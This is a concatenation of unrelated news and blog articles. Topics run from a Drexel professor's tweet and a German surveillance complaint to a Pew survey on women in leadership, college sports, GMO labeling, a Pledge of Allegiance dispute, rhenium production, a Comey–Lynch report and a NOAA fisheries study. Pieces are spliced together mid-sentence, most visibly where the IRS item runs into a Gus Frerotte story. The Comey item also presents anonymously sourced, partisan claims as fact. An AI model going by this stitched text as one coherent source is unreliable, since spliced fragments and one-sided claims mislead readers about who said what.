The professor gave a statement to Fox 29, part of which reads: "Two days after U.S. airstrikes incinerated an estimated 200 civilians in the Iraqi city of Mosul, I sent a personal tweet in reaction to what I considered a smug and self-congratulatory gesture by a first-class passenger toward a uniformed soldier. Maybe predictably, my tweet has since been fed into and misrepresented by the outrage machine that is right-wing media. Needless to say, my personal views expressed off-campus have absolutely nothing to do with those of my employer, Drexel University."
A university spokesman told the news station that the professor's comments "are his own opinion and do not represent the University’s views. Drexel is committed to and vigorously supports our ROTC students, student veterans and alumni who have served in the military. Our support for student veterans has helped us create an inclusive campus culture that honors service and Drexel’s deep connection to American military history."
Click for more from Fox 29.After a long period of silence, the Federal Prosecutor General responded to the criminal charges brought by several civil rights groups against the German Federal Government. He is however stalling an investigation into the charge, which concerns the mass surveillance of citizens by secret services. Here, we publish the response. [0]
In response to increased pressure from our lawyers, Federal Prosecutor General Harald Range has issued a letter in reply to the criminal charges brought by the International League for Human Rights (ILMR), the Chaos Computer Club (CCC), Digitalcourage e. V., and four individuals from February 3rd, 2014. The charge focuses on illegal espionage as well as aiding thereof, the violation of privacy, and obstruction of justice through implicit consent and cooperation. [1]
Almost a year and a half after the criminal complaint, the Federal Prosecutor General now reacts for the first time with a letter, in which he states why he will not start an official investigation at this point in time, but that evidence will be examined further. A final decision on initiating an investigation has not yet been made.
The Federal Prosecutor General justifies his continuing inactivity with a supposed lack of sufficient and actual evidence of felony offences. He writes at great lengths about lacking even an approach for an investigation of the wire-tapping of Chancellor Merkel’s mobile phone. In the meantime, Wikileaks has published further evidence of sweeping espionage by intelligence agencies. [2], [5] Range claims not to be able to get access to the original documents that Edward Snowden handed over to the media. The evidence of total surveillance of the public, laid out in detail in our criminal complaint and further writings, was only worth two meager paragraphs to him.
CCC spokesperson Falk Garbsch says: „Apparently, everyone reading a newspaper knows more about the surveillance of the public and the government than the Federal Prosecutor General. His refusal to work is a purely political failure. Blatant facts and evidence are being ignored.“
In the numerous press reports and Snowden papers, Range does not see the makings of argumentation that would stand up in court. But by failing to start an official investigation, he actually prevents his office from assessing and reviewing existing information and acquiring the evidence necessary for appropriate litigation.
The NGOs now explicitly demand that the Federal Prosecutor General meets his responsibility as chief prosecutor and immediately starts an official investigation, acquires required evidence, and especially hears Edward Snowden as a witness.
Regarding the Federal Prosecutor General’s delay of the investigation, the President of the ILMR, Fanny-Michaela Reisin, stated: „For years, the League has been raising the issue that the intelligence services are incompatible with democracy and the rule of law. The Chancellor and her government are, with respect to secret agreements, blatantly and quite publicly suspending applicable constitutional law and the separation of powers. It is equally unacceptable that the Federal Prosecutor General refuses to begin urgently needed investigations following the Snowden revelations. This is reminiscent of the behaviour of the government during the Weimar republic, which paved the way for totalitarianism.“
Links:
[0] Reply of the Federal Prosecutor General to the criminal complaint from February 3rd, 2014 (German): https://www.ccc.de/system/uploads/190/original/GBA-redacted.pdf
[1] Chaos Computer Club files criminal complaint against the German Government: https://www.ccc.de/en/updates/2014/complaint
[2] All The Chancellor’s Men: https://www.wikileaks.org/nsa-germany/selectors.html
[3] Criminal complaint against mass surveillance: We won’t back down! https://www.ccc.de/en/updates/2015/gba3
[4] New proof for surveillance: CCC extends legal complaints against intelligence services and German government: https://www.ccc.de/en/updates/2014/tor-gba
[5] German prosecutors launch investigation of spying charges, May 2015
Background:
On February 3rd, 2014 the International League of Human Rights (ILMR), Chaos Computer Club (CCC) and Digitalcourage filed a complaint against the US, British, and German intelligence agencies and their directors, against the presidents of the Federal Intelligence Service (BND), the Federal Office for the Protection of the Constitution (VfS), and the Military Counter-Intelligence Service (MAD), and against the Federal Minister of the Interior, the Chancellor, and all others responsible. Six more NGOs and 1,848 individuals have since joined in the complaint.
The complaint was broadened on June 4th, 2014 with an additional writing to the Federal Prosecutor General based upon new publications regarding ongoing NSA operations that were detected and saved on a CCC server in the anonymization network Tor. Following further publications regarding the Federal Prosecutor General’s continuing failure to act, the NGOs again broadened their complaint on June 6th of this year, the second anniversary of the Snowden revelations.
For further information regarding the lawsuit, please contact attorneys H.-Eberhard Schultz and Claus Förster at +49 30 43725026 (outside of business hours at +49 172 4203768).0 Shares
Seth Rollins sent out an interesting tweet last night after his match at Summerslam against Finn Balor. Seth said he was disappointed with the Brooklyn crowd for focusing more on the design of the new WWE Universal title than the match in the ring. The tweet garnered a lot of steam with over 12,000 retweets from WWE fans.
After Seth defeated Sami Zayn on RAW, he addressed the Brooklyn crowd during the commercial break.
Here is the video:
H/T @Josephawt
Seth says that fans were more concerned with what color or what that title looked like. He says that he was more worried about being the man. He also calls the Brooklyn crowd morons.
[irp posts=”15098″ name=”Report On Backstage Altercation Between Chris Jericho and Brock Lesnar At Summerslam”]
Wish they kept this for air! I am a bit surprised they didn’t but I guess they want to distance themselves from anything negative that has to do with their new title?Women and Leadership
Public Says Women are Equally Qualified, but Barriers Persist
According to the majority of Americans, women are every bit as capable of being good political leaders as men. The same can be said of their ability to dominate the corporate boardroom. And according to a new Pew Research Center survey on women and leadership, most Americans find women indistinguishable from men on key leadership traits such as intelligence and capacity for innovation, with many saying they’re stronger than men in terms of being compassionate and organized leaders.
So why, then, are women in short supply at the top of government and business in the United States? According to the public, at least, it’s not that they lack toughness, management chops or proper skill sets.
It’s also not all about work-life balance. While economic research and previous survey findings have shown that career interruptions related to motherhood may make it harder for women to advance in their careers and compete for top executive jobs, relatively few adults in the new Pew Research survey point to this as a key barrier for women seeking leadership roles. Only about one-in-five say women’s family responsibilities are a major reason there aren’t more females in top leadership positions in business and politics.
Instead, topping the list of reasons, about four-in-ten Americans point to a double standard for women seeking to climb to the highest levels of either politics or business, where they have to do more than their male counterparts to prove themselves. Similar shares say the electorate and corporate America are just not ready to put more women in top leadership positions.
As a result, the public is divided about whether, even in the face of the major advances women have made in the workplace, the imbalance in corporate America will change in the foreseeable future. About half (53%) believe men will continue to hold more top executive positions in business in the future; 44% say it is only a matter of time before as many women are in top executive positions as men. Americans are less doubtful when it comes to politics: 73% expect to see a female president in their lifetime.
These findings are based on a new Pew Research Center survey of 1,835 randomly selected adults conducted online Nov. 12-21, 2014. The survey also finds that the public is divided over whether a woman with leadership aspirations is better off having children early on in her career (36%) or waiting until she is well established (40%). About one-in-five (22%) say the best option would be to not have children at all.
Getting the Job Done in Politics and Business
When it comes to characteristics that apply specifically to political and business leadership, most Americans don’t distinguish between men and women. But among those who do draw distinctions, women are perceived to have a clear advantage over men in some key areas.
Political compromise has been in short supply in recent years, particularly in Washington, DC. Many adults (34%) think that female politicians are better at working out compromises than their male counterparts. Only 9% say men are better. A narrow majority (55%) say there’s no difference between men and women in this regard.
Women are also perceived to have an edge over men when it comes to being honest and ethical (34% say women are better at this; 3% say men are better at it). Women have a somewhat narrower advantage over men when it comes to working to improve the quality of life for Americans and standing up for what they believe in despite political pressure. For both of these characteristics, solid majorities say there is no difference between men and women.
Just as in the political realm, the public does not see major differences between men and women on key business leadership qualities. Where they do see gaps, women have a clear advantage over men on honesty and ethics, providing fair pay and benefits, and offering mentorship to young employees. Men have an edge when it comes to being willing to take risks and negotiating profitable deals.
Women in Leadership Today
As the 114th Congress gets underway, a record number of women (104) will be serving in the House and Senate. Today women make up 19% of the Congress, about double the share from 20 years ago. Progress has been slower on the corporate front. Only 26 women are now serving as CEOs of Fortune 500 companies—roughly 5%. In 1995 there were none. Women are slightly better represented in corporate boardrooms than they are at the CEO level. As of 2013, about one-in-six board members of Fortune 500 companies (17%) were women, up from 10% in 1995.
The pipeline for female leaders seems to be widening. Women have made significant gains in educational attainment in recent decades, better positioning themselves not only for career success but also for leadership positions. Since the 1990s, women have outnumbered men in both college enrollment and college completion rates, reversing a trend that lasted through the 1960s and ’70s. And women today are more likely than men to continue their education after college.
Women have also made inroads into managerial positions and professional fields in recent decades. In 2013, over half of managerial and professional occupations in the U.S. (52.2%) were held by women, up from 30.6% in 1968. Even so, women continue to lag far behind men in senior management positions.
Gender and Party Gaps in Views on Female Leadership
For women, the issue of having more female leaders goes far beyond equality in the workplace. Four-in-ten of them (38%) say having more women in top leadership positions in business and government would do a lot to improve the quality of life for all women. An additional 40% of women say this would have at least some positive impact on all women’s lives. For their part, men are less convinced that female leadership has such wide-ranging benefits. Only 19% of men say having more women in top leadership positions would do a lot to improve all women’s lives, while 43% say this would improve women’s lives somewhat.
When it comes to the barriers that may be holding women back from achieving greater representation in the top leadership ranks, women are much more likely than men to point to societal and institutional factors such as the country not being ready to elect more female political leaders and women being held to higher standards than men in business and in government.
Women are also more likely than men to say that female leaders in both politics and business outperform male leaders on most of the traits and characteristics tested in the survey. The gender gaps in perceptions about political leadership are especially sharp. Whether on compromise, honesty, backbone, persuasion or working for the benefit of all Americans, women are more likely than men to say female leaders do a better job. For their part, solid majorities of men say there aren’t major differences between men and women men in these areas. Nonetheless, they are somewhat more likely than women to give a nod to male leaders over female leaders on four of the five political leadership qualities tested in the poll.
Those who identify with the Democratic Party, which dominates the ranks of elected female leaders at the federal and state levels today, also have more favorable impressions of the women who serve in leadership positions in government and in business.
When it comes to political leadership, Democrats are significantly more likely than Republicans to say that women do a better job than men on each of the attributes tested in the poll. For their part, Republicans are not necessarily more likely to favor men in these areas, but they are more inclined to say there isn’t any difference between men and women.
Democratic women in particular are strong proponents of female political leaders. In most cases, they are more likely than both Democratic men and Republican women to say that female political leaders do a better job men.
Democratic women are also among the most enthusiastic about the possibility of having a female elected as president. As Hillary Clinton weighs another run for the White House in 2016 and progressive groups urge Elizabeth Warren to get in the race, 38% of all adults say they hope the U.S. will elect a female president in their lifetime; 57% say it doesn’t matter to them. Among Democratic women, fully 69% say they hope the U.S. will elect a female president in their lifetime. This compares with 46% of Democratic men, 20% of Republican women and 16% of Republican men. To be sure, for many Republicans this view may be more about the prospect of a Hillary Clinton presidency than about a major milestone for women, a perspective that likely influences the way they respond to this “hypothetical” question.
The remainder of this report examines the current landscape of women in leadership in the U.S. and the public’s views on this topic. Chapter 1 lays out trends in female leadership in elected political office and in corporate America, as well as changes in the pipelines to top leadership positions. Chapter 2 looks at public attitudes on men, women and key leadership traits in both the political and business realms. And Chapter 3 explores the obstacles to leadership for women, as well as views about discrimination and the future of female leadership.
Other Key Findings
Women are far more likely than men to see gender discrimination in today’s society. About two-thirds (65%) of women say their gender faces at least some discrimination in society today, compared with 48% of men who believe women face some discrimination. A double-digit gender gap on perceptions of gender discrimination is evident across all generations as well as across partisan groups.
Women and men are seen as equally good business leaders, but gender stereotypes persist. Most Americans (54%) say men would do a better job running a professional sports team, while just 8% say women would be better at this. And a 46% plurality also give men the edge when it comes to running a large oil or gas company. But the public is two and a half times more likely to say a woman, rather than a man, would do a better job running a major hospital or a major retail chain.
Young adults are more likely than older generations to say women with leadership aspirations might want to delay having children. More than four-in-ten Millennials (46%) say a woman who wants to reach a top position in business is better off waiting to have children until she is well established in her career, while 29% say she should have children early in her career. By contrast, four-in-ten Boomers and nearly half (48%) of members of the Silent generation say it’s better for a woman with high-level business aspirations to have children early on.
Among partisans, Republican men are the most likely to say the country has taken the steps needed to achieve gender equality in the workplace. About half of Republican men (54%) say the country has made the changes needed to give men and women equality in the workplace. By contrast about two-thirds (66%) of Republican women say more changes are needed. Even larger majorities of Democratic and independent women and Democratic men agree that gender parity is still a work in progress.
A Note on Generations
Some of the analysis in this report looks at adults by generation. While the definitions of generations can differ slightly among researchers, this report relies on the following standard Pew Research definitions.
Millennials: born after 1980, ages 18 to 33 in 2014.
Generation X: born from 1965 to 1980, ages 34 to 49 in 2014.
Baby Boomers: born from 1946 to 1964, ages 50 to 68 in 2014.
The Silent Generation: born from 1928 to 1945, ages 69 to 86 in 2014.ATLANTA, Ga. - The Alabama swimming and diving team never took its foot off the accelerator during the 2016 NCAA Championships, including during a strong final night of competition, taking sixth place Saturday in the McAuley Aquatic Center on the Georgia Tech campus.
"I couldn't be more proud of the team," UA head coach Dennis Pursley said. "It's been a big culture change for them over the last three or four years and these guys have bought into it and they've taken big step forward in each of those years and this was another one tonight."
The Crimson Tide tallied 225 points over the four-day championship, the most in program history, to post the Alabama's best NCAA finish since taking fifth place in 1983. Texas won the team title, followed by California, Florida, N.C. State and Georgia. With Alabama in sixth, Tennessee took seventh while Missouri, Indiana and Auburn rounded out the top 10.
"We had a strong finish on the last day where that's been our Achilles' heel in the past," Pursley said. "We had three school records tonight and ended up sixth in the nation in the final standings. So we're real pleased with how they performed throughout the meet."
Alabama closed out the night and the meet with a sixth place finish in the 400 freestyle relay, tallying yet another school record in the process. Freshman Laurent Bams, sophomore Christopher Reid, freshman Robert Howard and senior Kristian Gkolomeev combined to post a 2:49.97, betting the previous UA mark by more than a quarter of a second.
Gkolomeev added another individual top-3 finish to his career stash, taking third in the 100 freestyle with a school record 41.52. Between the 50 and 100 freestyles, the junior from Greece has posted five top-three finishes over the last three NCAA Championships, including a national championship in the 50 (2014) and 100 (2015).
The Alabama 200 backstroke record dropped three times on Saturday and changed hands twice. Junior Connor Oslin became the first UA swimmer under 1:40 in the 200 backstroke during prelims, posting a 1:39.92 to earn the final slot in the championship finals. At night, Reid lowered the mark set by Oslin in prelims, going 1:39.87 to take second in the B final and 10th overall. Oslin then cranked out a 1:39.85 to move up three spots in the championship final, taking fifth place and regaining the school record.
Junior Anton McKee posted a season-best 1:51.87 in the championship final of the 200 breaststroke to take fourth place, moving up a spot from his 2015 finish in the same event.
After finishing 10th a year ago, Alabama has now posted back-to-back top-10 finishes for the first time since taking eighth in 1985 and 1986.
For all the latest information on the Alabama swimming and diving teams, follow AlabamaSwimDive on Twitter, Instagram and Facebook. General athletic news can be found @UA_Athletics on Twitter and Instagram and Alabama Athletics on Facebook.Should genetically modified food be labeled?
Live Free or Die Alliance Facebook followers overwhelmingly say yes
By John F.J. Sullivan
Bite into a crisp, delicious apple or top off your BLT with a freshly sliced tomato and, if you’re like most New Hampshire snackers, one thing is certain: You have no idea where those fruits have been.
That is, did they spring from natural seeds and traditionally cross-bred techniques, or are they from genetically modified organisms (GMOs), engineered in a laboratory? It’s tough to tell because the Granite State doesn’t require food producers to label their goods as having been genetically modified.
Is it time for that to change?
Those in favor of food labeling worry that genetically modified foods might be harmful to ingest and encourage negative agricultural practices. In contrast, opponents say no scientific evidence exists that such foods aren’t healthy to eat, adding that genetic modification leads to larger yields of hardy livestock and produce important to combating world hunger and keeping food prices low.
As state lawmakers headed toward a mid-August work session on House Bill 660, “requiring the labeling of genetically modified foods and agricultural commodities,” the Live Free or Die Alliance’s Facebook followers made it clear they believe genetically modified foods should be labeled as such.
On June 24, we asked our 14,333 Facebook fans whether New Hampshire law should require labels. Within a day, the question received 384 responses, including “likes,” comments and people sharing the question on their own Facebook pages.
The sentiment was nearly unanimous – 96 percent of respondents – in support of labeling, with 2 percent each opposed to labeling or providing an answer that was judged either nonresponsive to the question or too ambiguous to tally.
Nearly a year ago, we asked a similar question -- whether New Hampshire should be the first state to require labeling of foods consisting of GMOs. At that time, we received 312 total responses; 80.5 of respondents favored the Granite State blazing the GMO-labeling trail. Conversely, 12.5 percent opposed the idea, and 7 percent were judged nonresponsive to the question.
Those supporting the labeling of genetically modified foods said citizens have a right to know what they’re putting in their bodies, especially if it might be harmful. “Food labeling is important so people can make informed choices,” said one respondent. “Live free or die isn't just a motto. Label foods so if we don't want GMO we can be free to make the choice.”
But others warn of falling prey to food hysteria and junk science. “Everything you have ever eaten or will eat has been altered genetically in some way by the farmer, and has been so for thousands of years …” said one opponent of GMO labels. “I think this whole anti-GMO craze is just as scientific as being an evolution-denier, or a global-warming denier. To be anti-GMO is to be on the wrong side of science, facts and reality.”
The aforementioned findings are not the results of a scientific survey, but more akin to citizen testimony, where respondents are (to the greatest extent possible) identifiable by their real names. As New Hampshire's Town Hall, the nonprofit, nonpartisan Live Free or Die Alliance is free and open to all, offering a unique and important mechanism for more than 14,000 community members to express their views.
However, the collective opinion of the citizens who follow the LFDA on Facebook and taken part in our relevant discussions is unmistakable: Even in the Live Free or Die state, people are looking to government regulation, or at least education, to help them make their own informed choices about what they eat.
John F.J. Sullivan is editor-in-chief of the Live Free or Die Alliance (nhlfda.org).I’ve heard of students being told they had to stand for the Pledge of Allegiance even though they legally don’t have to.
But I’ve rarely seen the adults at a school flip out over the issue as much as they did this week at Acadiana High School in Louisiana.
The American Humanist Association’s Appignani Humanist Legal Center sent a letter to Superintendent Donald Aguillard detailing the unbelievable things junior Raymond Smith had to deal with.
The student in question, for personal and religious reasons, does not wish to participate in the Pledge exercise in any manner. On Monday, April 11, he tried to remain seated during the recitation, but says he was intimidated into standing by his teacher, Mr. Romero, who reportedly used an expletive, yelling at the student and calling him “f—ing disrespectful.” The following day the student decided that he would try to find the strength to abide by his principles despite whatever bullying the teacher might inflict upon him. When he remained seated, the teacher took him out into the hall and lectured him about soldiers dying (apparently suggesting that opting out of the Pledge was somehow an insult to the military — an interpretation that is, of course, the subjective opinion of the teacher). The teacher then improperly demanded to know why the student wished to sit out, to which the student — who remained respectful at all times — replied that the exercise posed a religious conflict. The teacher was dismissive, saying there was no religious conflict, and warned that the student would be “taken to the office” if he continued to opt out. Then today, April 13, before the Pledge was even recited, Mr. Romero reportedly took the student out to the hall and again badgered the student for wishing to not participate in the exercise, telling the student he should move to a different country. The student tried to end the conversation several times, but the teacher would not allow it. Mr. Romero said the student would be written up each day if he didn’t participate, adding that he (the teacher) had the support of administration on the issue. He then sent the student to the office. The student’s nightmare did not end there. This horrific treatment — of a young man who wishes nothing but to opt out of a voluntary exercise — was compounded when the student went to the office, where he was told (incorrectly) that federal law “has no say” on the matter and that Mr. Romero has the right to set his own rules regarding Pledge participation. He was then told that he would be required to take his class in the guidance office if he refused to participate in the morning exercise. The student tried to explain himself but was told that he was being “disrespectful.” He was then asked whether he had been allowed to opt out of the exercise at his last school, to which he said yes. He was then told, in what he reports was a very rude and unprofessional manner, that he “should have stayed at ECA where you can do what you want.”
My goodness… how many incompetent, ignorant people work at this school?
The fact is no one has to say the Pledge. No one has to stand for the Pledge, either. And refusing to participate in the mindless ritual doesn’t make you unpatriotic or a bad student.
The teenager in question here knew all of that. The people who were in charge of educating him didn’t.
Neither does the school board, apparently. Their official Pledge policy is unconstitutional to begin with:
… Throughout the playing (singing) of the National Anthem and/or the recitation of the Pledge of Allegiance to the Flag, all students shall stand at respectful attention. During recitation of the “pledge,” each student shall place his/her right hand over his/her heart. If a student, due to a conscientiously and sincerely held religious belief, feels entitled to an exemption to the requirement to recite the pledge, such student shall still be required to stand.
Everything in bold is illegal. The district can’t force students to do any of those things.
The letter from the AHA may have had its intended effect, though, because District officials say they’ll be taking another look at that policy:
Superintendent Donald Aguillard said he and his staff have reviewed the letter, take the concerns seriously and are taking steps to address them. Aguillard added that Acadiana High Principal David LeJeune took immediate action upon learning of the concerns. “We are going to be working with our attorneys to make some changes to that particular policy,” Aguillard said. The policy will be reviewed by the Lafayette Parish School Board in May. “The Lafayette Parish School Board’s continuing educational mission includes ensuring that the rights of all students and staff throughout the school system are respected and upheld,” the district said in a news release.
I’d still like to know how that teacher and main office administrator are going to be reprimanded.
In any case, kudos to Smith for doing everything right. He knew the law. He knew to contact the AHA with his concerns. And he deserves a ton of credit for going public with his story, too. I hope he doesn’t have to deal with any repercussions or backlash as a result of all this.
(Screenshot via KATC. Thanks to Scott for the link)Christian Petersen/Getty Images
Jalen Watts-Jackson, the Michigan State Spartans safety who recovered a botched punt and scored to propel the Spartans to a shocking 27-23 victory over the Michigan Wolverines, dislocated his hip on the final play of Saturday's game, according to Joe Rexrode of the Detroit Free-Press.
Head coach Mike Dantonio said Watts-Jackson underwent surgery on Sunday, per Brett McMurphy of ESPN.
Continue for updates.
Watts-Jackson Injured on Game-Winning Play
Saturday, Oct. 17
Dantonio said Watts-Jackson went to the hospital following the game, per Chris Low of ESPN.com.
Watts-Jackson recovered a muffed snap by Michigan punter Blake O’Neill and scampered to the end zone to give the Spartans the lead as time expired.
The redshirt freshman safety was swarmed by teammates in the end zone, as Bleacher Report’s Bryan Fischer showed:
Watts-Jackson is the team's third-string safety and primarily plays on special teams. He was named MSU's special teams player of the week following the team's 24-21 victory over Purdue on Oct. 3, per Rexrode.
Michigan State has won seven of its last eight games against in-state rivals and remains unbeaten and alive in the hunt for the College Football Playoff.Looking for news you can trust?
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Yesterday, in a post about the IRS targeting progressive groups for extra scrutiny, I mentioned in passing that they were also targeting open source software groups. What’s up with that? A reader emails with the answer:
I noticed your curiosity about open source software organizations being called out for extra IRS scrutiny in the recently released documents. This is a story that’s been developing for a few years. In short, the IRS is concerned that some of these organizations exist simply to market companies’ software, and perhaps the associated services sold alongside them. The IRS suspects that such organizations would be a better |
entirely of Frerotte jokes.
“What does Gus do for an encore, set himself on fire?” he wrote.
“You know how in baseball parks they’ll mark off where a monstrous homer landed by painting the seat a different color? Well, the Redskins ought to paint a yellow circle around the spot where Gus slammed his head, and inside the circle paint a No. 12 with a slash through it,” he wrote.
“Actually, I thought it was generous of the Redskins to get an ambulance to take Gus to the hospital,” he wrote. “I’d have been so steamed I’d have made Gus hail a cab. (And no, there’s no truth to the rumor that Gus entered the hospital by walking straight through a plate glass door.)”
[Secret for the turnaround of Maryland and Perry Hills: Workouts with Gus Frerotte]
A couple months later, local skater Michael Weiss got a limo ride to the airport before the Nagano Olympics, courtesy of Frerotte. “Maybe if I land the quadruple Lutz I’ll head-butt the side of the rink,” Weiss said. And the next fall, a New York reporter tried asking Frerotte some leading questions:
“If you win the game on Sunday on a late touchdown, how will you celebrate?” the reporter asked. “Get on a plane and come home,” Frerotte answered. “But how will you celebrate?” the reporter persisted. “If we win the game, that would be special no matter what,” Frerotte said. Exasperated, he explained that the question was about the head butt. “I’m not going there, though,” Frerotte said, smiling. “I’m a smart fish.”
Frerotte, of course, ultimately lost his starting job in Washington. The 1998 season would be his last in D.C.; after the season he said he wanted to be either traded or released if he would not be the team’s starter. But the 1997 season was the beginning of the end for Frerotte here, a development he still seems to link to his head-butt.
“I wanted to be a Redskin my whole life,” he told Loverro. “I mean, that’s the team that drafted me. Obviously what we just talked about didn’t help me, but I wanted to be a Redskin my whole life, and I would have loved to stay in Washington, D.C. I loved the town, I loved the people, I loved the fans. But it’s just something that happened, and I had to move on and move my family. The last thing I wanted to do was move my family out of the place that we were living and leave all my friends that I’d created in five years. But life changes, life moves on and you’ve got to roll with the punches sometimes. And sometimes it’s good and sometimes it’s bad. You just move on in life.”
Moving on, though, didn’t end the jokes. “When the Redskins don’t win, the total experience is as much fun as a Gus Frerotte head butt,” Boz wrote in 1999. During the quarterback’s 2000 return to FedEx Field, there were dozens of signs about the incident. A Post letter-writer once argued that Trent Green was “good enough to beat mediocre competition and smart enough not to head-butt concrete walls when doing so.” Which all called to mind something Kornheiser wrote the week of the incident.
“You know, Gus, someday I think we’ll look back on this, and it will all seem funny,” he wrote. “We’ll stay pals, right, Gus? Remember, we kid because we love.”
Well, he seems to have remembered.
“You know, it is what it is,” Frerotte told Loverro. “It happened, and I’ve been able to move on from it, but I still can talk about it, because it was a part of my life. You know, it didn’t define me, and it still doesn’t define me. And that’s what’s great. I think if I didn’t laugh about it, I wouldn’t have been able to go on and play another 10 years after that.”A Chinese private enterprise has successfully purified the rare metal rhenium to manufacture the single crystal blade, which is crucial for the production of aircraft engines, CCTV.com reported on Sept. 3.
The rare metal was purified after a year and a half effort by Chengdu Aerospace Superalloy Technology Co. Ltd. in cooperation with the Hunan Research Institute for Nonferrous Metals.
The company discovered a mine with about 176 tons of rhenium in Shaanxi province in 2010, accounting for 7 percent of the world’s total reserves of the metal.
A report released by the U.S. Geological Survey shows that the explored reserve of rhenium in the earth’s crust is only about 2,500 tons, even less than that of rare elements. The price for each gram is 200 to 300 RMB (about $31 to 46), which makes it as expensive as platinum.
The metal is the main material for producing the single crystal blade, which is crucial for manufacturing aircraft engines, and the technology directly affects the performance of the engine.
Zhang Zheng, chairman of the company, put together a professional team through the country’s talent recruitment program.
Verified results show that the single crystal blade met Europe and U.S quality standards in terms of tensile properties and endurance performance at high temperatures.
The success makes the company China’s first to achieve mass production of the single crystal blade for manufacturing aircraft engines.
Aircraft engines, as one of the most complicated mechanical systems, should be able to work under high temperatures, high pressures, high rotation speeds, and high load; and be high power, light weight, long lasting, and highly reliable.
China has been faced with a hurdle of self-developing aircraft engines, because the U.S. and some Western countries have blocked certain exports such as rhenium to China for many years.BREAKING – Comey’s SECOND Meeting With Loretta Lynch Reveals He Confronted Her About Political Interference
Fired FBI Director, James Comey had a SECOND meeting with former Attorney General Loretta Lynch where he confronted her about her election interference.
According to the report, when confronted, Loretta Lynch stared at Comey with a ‘steely silence that lasted for some time’ before she asked him to leave her office.
Circa News with exclusive scoop:
Ex-FBI Director James Comey has privately told members of Congress that he had a frosty exchange with Obama Attorney General Loretta Lynch last year when he confronted her about possible political interference in the Hillary Clinton email investigation after showing Lynch a sensitive document she was unaware the FBI possessed, according to sources who were directly briefed on the matter. In multiple private sessions over the last few months, Comey has told lawmakers about a second, later confrontation with Lynch shortly before the email probe was shut down. Comey told lawmakers in the close door session that he raised his concern with the attorney general that she had created a conflict of interest by meeting with Clinton’s husband, the former President Bill Clinton, on an airport tarmac while the investigation was ongoing. During the conversation, Comey told lawmakers he confronted Lynch with a highly sensitive piece of evidence, a communication between two political figures that suggested Lynch had agreed to put the kibosh on any prosecution of Clinton. Comey said “the attorney general looked at the document then looked up with a steely silence that lasted for some time, then asked him if he had any other business with her and if not that he should leave her office,” said one source who was briefed.
As TGP previously reported, in an explosive revelation, former FBI Director James Comey has admitted that former Attorney General Loretta Lynch attempted to suppress/reframe the investigation into former presidential candidate Hillary Clinton’s illegal private email server. AG Lynch purportedly directed Comey to immediately stop referring to the Hillary probe as an “investigation” or a “probe” and, instead, refer to it as a much more gentle “matter”.
TGP also reported that ultra liberal Dem Senator Dianne Feinstein is even calling for an investigation into whether or not Loretta Lynch tried to help Hillary Clinton during the 2016 election:
Sen. Diane Feinstein (D-Calif.) said Sunday that Congress should investigate whether former Attorney General Loretta Lynch pressured former FBI Director James Comey to cover for Hillary Clinton‘s presidential campaign. “I think we need to know more about that,” Feinstein told host Brianna Keilar on CNN’s “State of the Union.” “And there’s only way to know about it, and that’s to have the Judiciary Committee take a look at that,” Feinstein, the top Democrat on the Senate Judiciary Committee, said.
Video of Comey talking about Loretta Lynch in his recent hearing:As planned, the fun and thrilling Twilight Zone Tower of Terror ride at Disney California Adventure park was shut down earlier this month, so it could begin its transformation into the Guardians of the Galaxy - Mission: BREAKOUT!.
With construction already underway, Walt Disney Imagineering Executive Designer Joe Rohde and Chief Creative Officer of Marvel Entertainment Joe Quesada invited members of the press to take a tour of the attraction and provided them with some new details.
The comically high-energy, rocking new adventure begins with guests into a museum-like setting. It's actually Taneleer Tivan's collection, filled with amazing objects he obtained from across the universe. To keep visitors coming back again and again, it will be a living collection—something new added frequently—and stuffed with Easter Eggs. "There will be more Easter eggs in this ride than in any other ride at Disney," Quesada told Nerdist. What about the ride itself? "Rocket is your guide through this high-stakes caper and he needs your human hand scans to get him in so that he can breakout his fellow Guardians," Nerdist reports. "Rocket isn’t one for thoughtful execution because his plan to shut down the generator, means creatures escape, elevators stop working, thus starting the adventure." To ensure visitors don't tire of it as well, "there will be multiple versions of the ride."The celebrated seafood of the northeast US, such Maine lobster and New England clams, is under threat from warming temperatures and ocean acidification, a new study warns.
Researchers at the National Oceanic and Atmospheric Administration (NOAA) assessed the potential climate impacts on 82 marine species that live in the northwest Atlantic Ocean.
They found that species living on the seafloor, such as scallops, lobster and clams, and those that migrate between fresh and salt water, such as salmon and sturgeon, are most vulnerable to warming.
Seafood industry
For the northeast US, seafood is an institution. At more than half a billion dollars, the value of the annual seafood catch off the coast of Maine, for example, is second only to the state of Alaska. The port of New Bedford in Massachusetts brings in more seafood in terms of value than any other in the US.
For 33 years in a row, Maine has caught more lobster than any other state and, together with Massachusetts, accounted for more than 94% of the country’s entire American Lobster catch.
Cape Cod was named in the 1600s after the abundance of the fish that European settlers caught there. Even the cartoon “Family Guy” is set in the fictional Rhode Island town of “Quahog” – the common name for a hard-shelled clam.
But this culturally and financially significant industry is vulnerable to a changing climate, says the new study in the journal PLOS_ONE.
Researchers at NOAA applied a new Fisheries Climate Vulnerability Assessment to 82 marine species in the region. The results classify half of the species as as having “very high” or “high” vulnerability.
Exposure
The study focuses on an area of the Atlantic Ocean off the US northeast coast, as shown in the map below.
The assessment uses a combination of data and expert opinion to rate the vulnerability of each species to climate change, says lead author Dr Jon Hare, director of NOAA’s Northeast Fisheries Science Center laboratory in Narragansett. He tells Carbon Brief:
We evaluated the exposure [of the different species] to warming, changes in salinity, changes in precipitation, ocean acidification, changes in sea-level rise and changes in circulation.
The researchers consider the impacts of climate change for the next 40 years under the RCP8.5 scenario, where global greenhouse gas emissions are not curbed. Global emissions are currently tracking just above this scenario.
You can see the overall impact of climate change for each species in the chart below.
On the y-axis is “biological sensitivity”, which is a measure of a species ability to move or adapt in the face of change. On the x-axis is “climate exposure”, which is how at risk a species is to ocean warming, acidification, sea level rise, and so on.
The position of the species in the grid indicates its overall vulnerability to climate change. The squares in the bottom left represent low vulnerability (green shading), while those in the top-right indicate very high vulnerability (red shading).
In general, species that can travel long distances and feed on a variety of prey, such as Atlantic herring and yellowtail flounder, are less vulnerable, the paper says. On the other hand, species that live on the seafloor, such as scallops, crabs, lobster and clams, have limited mobility to move habitats as the oceans warm, putting their survival at greater risk. Species with hard shells are also threatened by ocean acidification, the paper notes.
Fish that move between freshwater and saltwater habitats – known as “diadromous” species – are also particularly vulnerable because they’re affected by changes in both types of habitat, says Hare. This includes the Atlantic salmon, which is already an endangered species from overfishing.
Increased resilience
The study is first time the researchers have applied NOAA’s assessment framework over such a large area, says Hare. By using expert opinion to fill in the gaps where no data is available, the framework allows the researchers to “work across a range of data-rich and data-poor species in the same assessment,” he says.
